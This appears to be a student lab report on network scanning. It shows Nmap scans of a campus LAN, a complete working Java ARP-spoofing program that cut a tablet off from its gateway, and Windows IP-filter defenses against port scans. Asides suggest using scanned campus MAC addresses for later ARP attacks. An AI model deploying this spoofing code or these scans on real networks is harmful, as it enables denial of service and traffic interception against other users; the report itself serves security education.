1、 了解扫描技术的工作原理；
2、 加深对网络底层的理解；
3、 掌握常用扫描工具的基本用法；
4、 学习扫描器程序设计的基本方法。（以后再补充）
二、实验环境及相关情况（包含使用软件、实验设备、主要仪器及材料等）1、实验设备：微型计算机；
2、软件系统：windows 7操作系统，Nmap。
三、实验内容1、 Windows平台下Nmap的安装。
2、 Windows平台下Nmap的使用。
3、 Windows平台下查看本地端口。
4、 端口扫描的防范。
四、实验步骤及结果（包含简要的实验步骤流程、结论陈述，可附页） （零）其他知识准备 1、windows上查看本机ip配置信息：ipconfig（1）点击”开始“―>”运行“，输入”cmd“，打开命令提示符窗口后，输入：ipconfig/all
如下图：
2、windows上查看本机端口：netstat
（1）点击”开始“―>”运行“，输入”cmd“，打开命令提示符窗口后，输入：netstat
如下图：
（2）参数详解
netstat 用于显示与IP 、TCP 、UDP 和ICMP 协议相关的统计数据，一般用于检验本机各端口的网络连接情况。
NETSTAT [-a] [-b] [-e] [-n] [-o] [-p proto] [-r] [-s] [-v] [interval]，命令提示符窗口后，输入：netstat /?
（3）例子说明
第一，打开命令提示符窗口后，输入：netstat -a，如下图：
第二，拿一行出来解释：
协议（Proto ）：TCP ，指是传输层通讯协议
本地机器名（Local Address ）：10.92.69.12，计算机名了，本地打开并用于连接的端口：1156
远程机器名（Foreign Address ）： 如 112.90.78.141
远程端口： 8080
状态：ESTABLISHED
第三，补充：状态列表
LISTEN ：在监听状态中。
ESTABLISHED ：已建立联机的联机情况。
TIME_WAIT ：该联机在目前已经是等待的状态。
（一）在windows平台上安装nmap说明：本次试验本人主要是在windows命令提示符窗口完成，并没有使用到nmap的图形界面工具。
1、从nmap的官网下载namp的安装程序。官网 https://nmap.org/download.html
2、安装namp程序
双击安装程序，执行安装，全部默认即可。windows平台下安装namp需要安装数据包捕捉库WinPacp，其作用是帮助其调用程序（如nmap和wireshark等）捕获通过网卡传输的原始数据。
3、测试是否安装成功（1）安装完成后，点击”开始“―>”运行“，输入”cmd“，然后按回车键”Enter“，进入命令提示符窗口。输入命令：ipconfig/all
找到网关IP：10.29.32.254
（2）输入以下命令：nmap -sA 10.29.32.254。表示对网关进行ACK扫描。结果如下：
可以看出以下信息，
开始扫描的时间为：2016-10-18 09:17 中国标准时间
扫描的主机为：10.29.32.254
扫描的主机状态：up，开机
All 1000 scanned…… unfiltered …：表示有主机10.29.32.254上有1000个被扫描的端口没有防火墙和包被过滤软件来隔离nmap的探测扫描。
Mac地址为：00:1A:A9:15:49:07（这个信息很有用，以后便于我们可以使用arp攻击）
扫描所花的时间为：20.39 seconds
此时，可以判断，安装成功。
4、提高连接扫描的性能（1）进入nmap的安装目录，如C:\Program Files (x86)\Nmap，找到nmap_performance.reg文件
（2）双击打开nmap_performance.reg文件
（3）按确定后，注册表添加成功。
（二）在windows平台上使用nmap 1、用ping扫描方式探测主机
命令：nmap -sP 10.29.32.1-254。表示用ping扫描方式扫描该局域网中开放的主机。
（1）扫描第一次，结果如下：
（2）扫描第二次，结果如下：
（3）扫描第三次，结果如下：
经过多次扫描（如果不怕麻烦，可以多扫描几次），可以得到以下主机的IP和mac地址信息
10.29.32.48 00:90:F5:F9:CC:A5
10.29.32.254 …….
10.29.32.17 …….
PS：知道了这些，以后可以对他们用arp欺骗攻击。
2、探测操作系统类型命令：nmap -O ip地址。表示探测局域网中IP为10.29.32.48的主机。
（1）输入nmap -O 10.29.32.48，结果如图：
可以看出，该主机的状态是down，但我们之前扫描的结果是up。所以推测一下，该主机上存在防火墙。用TCP/IP指纹特征扫描行不通。
（2）输入nmap -O 10.29.32.254，结果如图：
可以看出以下信息：
主机状态：up
999个关闭的端口
开放的端口：只有一个。23/tcp open telnet。表示tcp协议，占用端口23，提供的是telnet服务。
Mac地址：00:1A:A9:15:49:07
操作系统：扫描不出确切的操作系统
。。。。
网络距离：Network Distance : 1 hop。表示只有1跳，即一个路由器。
扫描所花时间：33.60 seconds。
（3）输入nmap -O 10.29.32.17，结果如图：
可以看出一下信息：
主机状态：up
989个被过滤的端口：filtered ports表示防火墙、包过滤和其他的网络安全软件（如360卫士）掩盖了该端口。
开放的端口：图中的“}”所示
Mac地址：2C:41:38:01:A8:00
操作系统：Microsoft Windows 7 或 Phone 或 Vista 或2008
。。。。
网络距离：Network Distance : 1 hop。表示只有1跳，即一个路由器。
扫描所花时间：26.38 seconds。
（4）补充：也可以用nmap去扫描一台linux主机，不过基本没用。因为linux的安全性较高，而且一般云主机都会有安全组策略，同时一般只开放少量的端口，如22、8080、3306这些。所以在这里就不测试。
3、TCP连接扫描（-sT表示TCP全连接扫描）（1）输入nmap -sT 10.29.32.48，结果如图：
可以看出，红线部分的信息：
占用5357端口/tcp协议，状态打开，提供Microsoft Windows WSDAPI服务
（2）输入nmap -sT 10.29.32.254，结果如图：
可以看出，红线部分的信息：
占用23端口/tcp协议，状态打开，提供telnet服务
（3）输入nmap -sT 10.29.32.17，结果如图：
4、TCP同步扫描（-sS表示TCP半开扫描，TCP SYN）
（1）输入nmap -sS 10.29.32.48，结果如图：
可以看出，使用TCP半开扫描所用的时间为32.60s，与上面用TCP全连接扫描同一主机10.29.32.48所用的时间61.25s比较，可以发现TCP半开扫描比TCP全连接扫描快。
（2）输入nmap -sS 10.29.32.254，结果差不多，就不再做赘述了。
（3）输入nmap -sS 10.29.32.17，结果差不多，就不再做赘述了。
5、隐蔽扫描（1）分别输入nmap -sF 10.29.32.48、nmap -sF 10.29.32.254、nmap -sF 10.29.32.17，结果如图：
可以看出，使用FIN扫描方式未能发现目标主机开放的端口。
（2）分别输入nmap -sX 10.29.32.48、nmap -sX 10.29.32.254、nmap -sX 10.29.32.17，结果如图：
可以看出，使用Xmas Tree扫描方式未能发现目标主机开放的端口。
（3）分别输入nmap -sN 10.29.32.48、nmap -sN 10.29.32.254、nmap -sN 10.29.32.17。结果略。
6、小结通过以上5个试验，我们可以得到以下结论：使用TCP全连接扫描得到的信息较多较完整，但需要的时间较长；TCP半开扫描，即TCP SYN扫描得到的信息也较多，但需要的时间比TCP全连接扫描少；隐蔽扫描需要的时间少，但得到的信息也少。
（三）arp攻击 1、说明：以上网络扫描属于被动的网络攻击，那么接下来给大家介绍一下主动的网络攻击：arp欺骗。首先声明，不要在宿舍或公共局域网里面随意使用该攻击，不然网管找上门就GG了。所以接下来我用手机、平板和笔记本电脑构成一个简单的局域网。手机开启网络热点，相当于一个网关，笔记本电脑和平板电脑连接，相当于该局域网络中的两台主机。如图所示：
2、ARP简单介绍。补充：这些百度百科有，详细内容自行百度。我只把关键的内容标注出来。
地址解析协议，即ARP（Address Resolution Protocol），是 根据IP地址获取物理地址 的一个TCP/IP协议。主机发送信息时 将包含目标IP地址的ARP请求广播到网络上的所有主机 ，并接收返回消息，以此确定目标的物理地址；收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的，网络上的主机可以 自主发送ARP应答消息 ，其他主机收到应答报文时 不会检测该报文的真实性 就会将其记入本机ARP缓存； 由此攻击者就可以向某一主机发送伪ARP应答报文，使其发送的信息无法到达预期的主机或到达错误的主机，这就构成了一个ARP欺骗 。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。相关协议有RARP、代理ARP。NDP用于在IPv6中代替地址解析协议。
用本例简单来讲，就是笔记本电脑（攻击者）向平板电脑（被攻击者）发送假的arp应答报文，导致平板电脑的arp缓存表中IP地址对应的MAC地址错误，造成平板电脑发送给对应IP的主机的信息达不到。
查看arp缓存表的命令：arp -a。结果如下图
3、ARP欺骗原理
地址解析协议是建立在 网络中各个主机互相信任 的基础上的，它的诞生使得网络能够更加高效的运行，但其本身也存在缺陷：
ARP地址转换表是依赖于计算机中高速缓冲存储器动态更新的，而 高速缓冲存储器的更新 是受到更新周期的限制的， 只保存最近使用的地址的映射关系表项 ，这使得 攻击者有了可乘之机，可以在高速缓冲存储器更新表项之前修改地址转换表 ，实现攻击。 ARP请求为广播形式发送 的，网络上的主机可以 自主发送ARP应答消息 ，并且当其他主机收到应答报文时 不会检测该报文的真实性 就将其记录在本地的MAC地址转换表，这样攻击者就可以向目标主机发送伪ARP应答报文，从而篡改本地的MAC地址表。
ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗，能够在网络中产生大量的ARP通信量使网络阻塞，攻击者只要 持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目 （即arp缓存表），造成网络中断或中间人攻击。
比如说：
攻击者向电脑A发送一个伪造的ARP响应，告诉电脑A：电脑B的IP地址192.168.0.2对应的MAC地址是00-aa-00-62-c6-03，电脑A信以为真，将这个对应关系写入自己的ARP缓存表中，以后发送数据时，将本应该发往电脑B的数据发送给了攻击者。同样的，攻击者向电脑B也发送一个伪造的ARP响应，告诉电脑B：电脑A的IP地址192.168.0.1对应的MAC地址是00-aa-00-62-c6-03，电脑B也会将数据发送给攻击者。
至此攻击者就控制了电脑A和电脑B之间的流量，他可以选择被动地监测流量，获取密码和其他涉密信息，也可以伪造数据，改变电脑A和电脑B之间的通信内容。
4、ARP欺骗的危害ARP欺骗可以导致目标计算机与网关通信失败，更会导致通信重定向，所有的数据都会通过攻击者的机器，因此存在极大的安全隐患。
5、ARP报文格式（关键！！！）
6、用Java实现arp攻击，欺骗局域网中的其它主机（重点、实践）
（1）安装Winpcap。搜索一下就能看到如何下载。由于安装nmap的时候已经一起安装了Winpcap，故这一步可以省略。
（2）将jpcap.dll复制到jdk的bin目录（说明：jpcap.dll和jpcap.jar都比较容易找到，注意一下32位的还是64位的即可，这里就不做赘述）
（3）将jpcap.jar包导入到项目
（4）手机开启WLAN热点，笔记本电脑和平板电脑接入wifi。打开命令提示符窗口后，输入：ipconfig/all，DHCP服务器（即手机）分配给笔记本电脑的的网络配置。
可以发现，该主机的网络配置信息为
被分配的IP为：192.168.43.69
子网掩码为：255.255.255.0
网关为：192.168.43.1
无线网卡的mac地址为：B8-EE-65-AA-D9-B9
（5）使用上面刚学到的nmap网络扫描，即打开命令提示符窗口后，输入：nmap -sP 192.168.43.1-254。结果如图：
可以发现，该局域网有三台主机。各自的网络配置如下：
手机IP：192.168.43.1 手机MAC：24:1F:A0:07:F4:9D
平板电脑IP：192.168.43.244 平板电脑MAC：4C:FB:45:E2:3F:97
本机IP：192.168.43.69
（6）Java代码1：实现的是伪造并单播ARP请求包。
说明：本代码实现的是笔记本电脑作为攻击者，给平板电脑（被攻击者）发送arp请求报文，但报文中改变了真正的网关的IP-MAC的对应关系，将报文中真正的网关MAC地址换成了一个伪造的不存在的mac地址（当然也可以是笔记本电脑攻击者的MAC地址），这样就欺骗了平板电脑。只要程序一直在发送arp请求报文，则平板电脑会一直被欺骗，将本该发送给网关（手机）的数据包发送伪造的不存在的mac地址（或攻击者笔记本电脑），所以会导致断网或者网速很慢。
package arpAttack; import java.net.InetAddress; import java.net.UnknownHostException; import java.util.Scanner; import jpcap.JpcapCaptor; import jpcap.JpcapSender; import jpcap.NetworkInterface; import jpcap.packet.ARPPacket; import jpcap.packet.EthernetPacket; /** * ARP应答协议报文 * * @author ding * */ public class ARPAttack { public static void main(String[] args) throws Exception { // 选择网卡 NetworkInterface device = getNetworkInterface(); // 打开网卡 JpcapSender sender = JpcapSender.openDevice(device); // 构建ARP应答包 ARPPacket arpPacket = createARPPacket(); // 设置重发间隔时间，控制发包速度 int time = 0; // 发送ARP应答包 while (true) { System.out.println("sending arp.."); sender.sendPacket(arpPacket); Thread.sleep(time * 100); } } public static ARPPacket createARPPacket() throws UnknownHostException { // 开始设置ARP包，即用于修改其他主机的ARP缓存表的ARP包 ARPPacket arpPacket = new ARPPacket(); // 硬件类型：选择以太网类型(Ethernet)。 补充知识：如果是以太网则硬件类型为则：0001 。 arpPacket.hardtype = ARPPacket.HARDTYPE_ETHER; // 协议类型：选择IP网络协议类型 。补充知识：这里一般写的是：0800 表示IP类型，ARP是IP协议族中的一个。 arpPacket.prototype = ARPPacket.PROTOTYPE_IP; // op为操作符：选择REPLY类型。补充知识：如果为1则为请求包；如果为2则为回应包。 arpPacket.operation = ARPPacket.ARP_REQUEST; // 硬件地址长度：指的是MAC地址的长度，长度为6 单位是字节 。 arpPacket.hlen = 6; // 协议地址长度：如果是IP4则这个值为4,单位是字节 。 arpPacket.plen = 4; // 发送端MAC地址。由于是伪造的arp包，可以任意设置 arpPacket.sender_hardaddr = toMacBytes("00-01-02-03-04-05"); // 发送端协议地址（IP地址）。冒充该IP arpPacket.sender_protoaddr = toIpBytes("192.168.43.1"); // 目的端MAC地址（待填充）。由于是伪造的arp包，可以任意设置 arpPacket.target_hardaddr = toMacBytes("00-00-00-00-00-00"); // 目的端协议地址（IP地址）。欺骗该IP arpPacket.target_protoaddr = toIpBytes("192.168.43.244"); /** ----- ARP协议报文的 ------ **/ // 设置DLC帧，即以太网帧。 或者说创建一个以太网头 EthernetPacket ether = new EthernetPacket(); // 以太网源地址： 是发出给ARP包的主机地址。 // 本人测试的时候，需要是攻击者的真实的mac地址，这里为本机无线网卡的mac地址 ether.src_mac = toMacBytes("B8-EE-65-AA-D9-B9"); // 以太网目的地址，被攻击者真实的mac地址。或用广播地址：FF-FF-FF-FF-FF-FF ether.dst_mac = toMacBytes("4C-FB-45-E2-3F-97"); // 选择以太网的包类型 。补充知识：用来表明上层协议的类型，如果是ARP协议的话就为：0806 。 ether.frametype = EthernetPacket.ETHERTYPE_ARP; // 将以太网包首部添加到ARP包前 arpPacket.datalink = ether; return arpPacket; } /** * 通过控制台选择网卡 * * @return */ static NetworkInterface getNetworkInterface() { // 枚举网卡 NetworkInterface[] devices = JpcapCaptor.getDeviceList(); for (int i = 0; i < devices.length; i++) { byte[] mac = devices[i].mac_address; System.out.println(i + ":" + Integer.toHexString(mac[0]) + "-" + Integer.toHexString(mac[1]) + "-" + Integer.toHexString(mac[2]) + "-" + Integer.toHexString(mac[3]) + "-" + Integer.toHexString(mac[4]) + "-" + Integer.toHexString(mac[5])); } // 控制台选择网卡 System.out.println("请输入对应的数字选择网卡"); Scanner sc = new Scanner(System.in); NetworkInterface device = devices[sc.nextInt()]; sc.close(); return device; } /** * 将ip字符类型转化为byte类型 * * @param ipString * @return * @throws UnknownHostException */ static byte[] toIpBytes(String ipString) throws UnknownHostException { return InetAddress.getByName(ipString).getAddress(); } /** * 将mac字符类型转化为byte类型 * * @param macStr * @return */ static byte[] toMacBytes(String macStr) { byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; String[] s1 = macStr.split("-"); for (int x = 0; x < s1.length; x++) { mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff); } return mac; } }补充：只是为了说明arp欺骗的原理，故该代码并没有考虑代码的健壮性和可复用性。大家可以自行解耦。
（7）运行代码后的结果：平板电脑断网或者网速很慢。如果int time = 0，则会断网。
而且打开wireshark抓取数据包时，会发现大量的ARP报文。如下图所示：
在打开一个数据包来观察，如下图：
（8）Java代码2：实现的是伪造并广播ARP请求包。有空再补充。
（9）Java代码3：实现的是伪造ARP包应答。有空再补充。
7、ARP攻击的局限性ARP攻击仅能在以太网（局域网如：机房、内网、公司网络等）进行。
无法对外网（互联网、非本区域内的局域网）进行攻击。
（四）端口扫描的防范。 1、原理一般而言，计算机所有对外开放的端口都存在潜在的危险。而一些系统必要的通讯端口（如80、8080）等一般不能关闭，但是，对于大部分端口，尤其是windows系统而言，我们可以关闭它们。因此，可以根据不同情况，采用各种方法对端口进行管理，从而减小安全风险。
2、方法1：关掉不需要的网络服务（以windows为例）有些操作系统默认启动了一些服务，但对于部分用户而言，这些服务不是必要的。所以可以通过停止这些服务来禁止对此类端口的访问。步骤如下：
（1）“控制面板”―>”管理工具”―>”服务”
（2）选择需要停止的服务，右击鼠标，在弹出栏菜单中单击“停止”即可。此方法较为简单了，所以在这里不做赘述。
3、方法2：设置IP筛选器（以windows为例）当不能通过停止服务来关闭端口时，则可采用设置IP筛选器的方法。步骤如下：
（1）打开命令提示符窗口，输入secpol.msc。
（2）打开了“本地安全策略”窗口，右击“IP 安全策略，在 本地计算机”，选择单击“创建IP安全策略(C)”。
（3）点击“下一步”，修改名称，添加描述，再点击”下一步“。
（4）根据情况决定要不要勾选“激活默认响应规则（仅限于windows的早期版本）”，本人是不勾选，然后点击”下一步“。
（5）去掉勾选“编辑属性”，单击“完成”。
（6）回到了本地安全策略的窗口，可以发现多了个刚刚新建的“辉哥的 IP 安全策略”。右击它，然后选择单击“属性”。
（7）在弹出的“XXX IP 安全策略 属性”菜单中，去掉勾选“使用添加向导”，然后点击“添加(D)”
（8）在弹出的“新规则 属性”菜单中，选择“IP筛选器列表”选项卡，然后点击“添加(D)”
（9）在弹出的“IP筛选器列表”菜单中，修改名称，去掉勾选“使用添加向导”，然后单击“添加(D)”
（10）在弹出的“IP筛选器 属性”菜单中，选择“地址”选项卡，按下图设置
（11）选择“协议”选项卡，按下图设置，最后按“确定”
（12）选中刚刚新建的IP筛选器，然后单击“确定”
（13）回到“新规则 属性”菜单中，选择“筛选器操作”选项卡，去掉勾选“使用添加向导”，单击“添加”
（14）在弹出的“新筛选器操作 属性”菜单中，安全方法设为“阻止”，然后“应用”―>“确定”。
（15）回到“新规则 属性”菜单中的“筛选器操作”选项卡，选中刚刚新建的“新筛选器操作”，单击“应用”―>”确定”。
（16）回到“新规则 属性”菜单中的“IP筛选器列表”选项卡，选中刚刚新建的“XXX 筛选器列表”，然后单击“应用”―>”确定”。
（17）回到新建完成的“XXX IP 安全策略 属性”菜单中，选中刚刚新建完成的IP筛选器，然后单击“应用”―>”确定”。
（18）回到了本地安全策略的窗口，右击“辉哥的 IP 安全策略”，然后选择单击“分配”。
单击“分配”后，结果如下：
（19）测试
A：没有分配前，即
在另一台主机使用nmap扫描，发现135端口是开启的。（80端口是Http协议需要用到的端口，默认开启）
B：分配后，即
在另一台主机使用nmap扫描，发现135端口被过滤了。
说明实验成功！
（20）使用“协商安全”和“与共享秘钥”的方法控制。
首先，在“新筛选器操作 属性”菜单中，安全方法设为“协商安全”，
接着，在“编辑规则 属性”菜单中，选中“身份验证选项卡”，单击“添加”
然后，设置“预共享秘钥”
接着，再另一台电脑（即被网络扫描的目标主机）也做同样的设置。
最后，测试的时候发现，该端口仍然是直接被过滤了，并拥有同样的预设私钥并没有起作用。问题的原因仍在探索。
4、方法3：安装软件防火墙。该方法较为容易，就不再做赘述。
五、实验总结（包括心得体会、问题回答及实验改进意见）1、通过本次试验，理解了端口扫描器和漏洞扫描器的基本原理。
2、通过使用nmap此网络扫描器，用不同的方式进行扫描，并对所得到的数据进行分析，基本学会了该工具的使用，并且对端口扫描器和漏洞扫描器的基本原理的理解更深。
3、延伸学习了ARP攻击，将网络扫描这种被动攻击和ARP攻击这种主动攻击结合起来，针对主机的进行了脆弱性分析。
4、对信息技术安全有了更深刻的理解。